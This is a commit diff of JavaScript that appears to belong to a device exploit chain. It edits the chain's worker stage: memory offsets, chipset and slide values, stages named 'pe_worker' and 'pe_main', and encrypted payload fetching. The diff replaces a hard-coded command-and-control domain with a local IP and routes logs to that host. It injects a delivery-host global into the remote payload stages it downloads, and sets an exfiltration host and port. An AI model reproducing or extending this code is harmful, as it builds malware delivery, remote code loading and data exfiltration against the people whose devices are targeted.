feat: ds
This commit is contained in:
@@ -1,5 +1,4 @@
|
||||
var SERVER_LOG;
|
||||
var __labC2Host = 'https://mh0usocqzi6f46i.com:443';
|
||||
let offsets;
|
||||
let MessageName;
|
||||
|
||||
@@ -214,6 +213,14 @@ self[1] = boxed_arr;
|
||||
}
|
||||
let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
var __labC2Host = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labC2Host;
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
|
||||
}
|
||||
function print(x, reportError = false, dumphex = false) {
|
||||
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
|
||||
if (!SERVER_LOG && !reportError) return;
|
||||
@@ -227,12 +234,7 @@ self[1] = boxed_arr;
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
var logBase = '';
|
||||
try {
|
||||
if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, '');
|
||||
} catch (eLb) {}
|
||||
if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443';
|
||||
xhr.open("GET", logBase + "/api/ds/log?" + req , false);
|
||||
xhr.open("GET", labC2LogUrl(req), false);
|
||||
xhr.send(null);
|
||||
}
|
||||
let signal_ptr;
|
||||
@@ -242,6 +244,15 @@ self[1] = boxed_arr;
|
||||
const p = {};
|
||||
// L1 encryption state (populated via postMessage from main thread)
|
||||
var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null;
|
||||
function __labPrependDelivery(fname, text) {
|
||||
if (!text) return text;
|
||||
var f = String(fname || '').toLowerCase();
|
||||
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text;
|
||||
var d = '';
|
||||
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
|
||||
if (!d) return text;
|
||||
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
|
||||
}
|
||||
|
||||
function getJS(fname,method = 'POST')
|
||||
{
|
||||
@@ -299,15 +310,12 @@ self[1] = boxed_arr;
|
||||
try
|
||||
{
|
||||
let url = "";
|
||||
var assetBase = String(host || '').replace(/\/$/, '');
|
||||
var assetPath = String(fname || '');
|
||||
if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath;
|
||||
url = assetBase + assetPath;
|
||||
url = host + "/" + fname;
|
||||
print("trying to fetch from:" + url);
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", `${url}` , false);
|
||||
xhr.send(null);
|
||||
return _labDecryptWire(xhr.responseText);
|
||||
return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText));
|
||||
}
|
||||
catch(e)
|
||||
{
|
||||
@@ -342,9 +350,9 @@ self[1] = boxed_arr;
|
||||
const chipset = data.chipset;
|
||||
const offsets = data.offsets;
|
||||
const slide = data.slide;
|
||||
__labC2Host = 'https://mh0usocqzi6f46i.com:443';
|
||||
__labC2Host = 'http://192.168.31.130:8080';
|
||||
host = data.desiredHost;
|
||||
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; }
|
||||
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; }
|
||||
SERVER_LOG = data.SERVER_LOG;
|
||||
if (data._enc_session) {
|
||||
_enc_S = data._enc_session;
|
||||
|
||||
Reference in New Issue
Block a user